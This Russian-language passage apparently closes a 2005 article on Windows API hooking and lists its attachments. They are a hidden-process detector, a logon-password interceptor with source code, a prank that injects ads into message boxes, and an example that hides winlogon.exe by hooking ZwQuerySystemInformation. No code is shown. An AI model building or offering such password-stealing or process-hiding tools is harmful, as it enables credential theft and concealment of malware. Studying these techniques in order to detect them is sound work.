Этот метод поиска скрытых процессов реализован в моей программе ProcessMaster, которую вы можете скачать в приложении к статье.
Приложение:
Здесь вы найдете все файлы идущие со статьей:
© Ms-Rem
Файл Описание Logon (21 кб) Программа Logon перехватывающая пароли на вход в систему.
В архиве также находятся исходники программы.AdwareBox (15 кб) Программа - прикол. Заставляет все MessageBox в системе отображать рекламу. ProcHide (10 кб) Пример скрытия процесса winlogon.exe путем перехвата ZwQuerySystemInformation. ProcessMaster (189 кб) Программа ProcessMaster для обнаружения скрытых процессов.
Гарантированное обнаружение любых UserMode API перехватчиков
Перехват API функций в Windows NT (часть 1). Основы перехвата.
Дата публикации 16 май 2005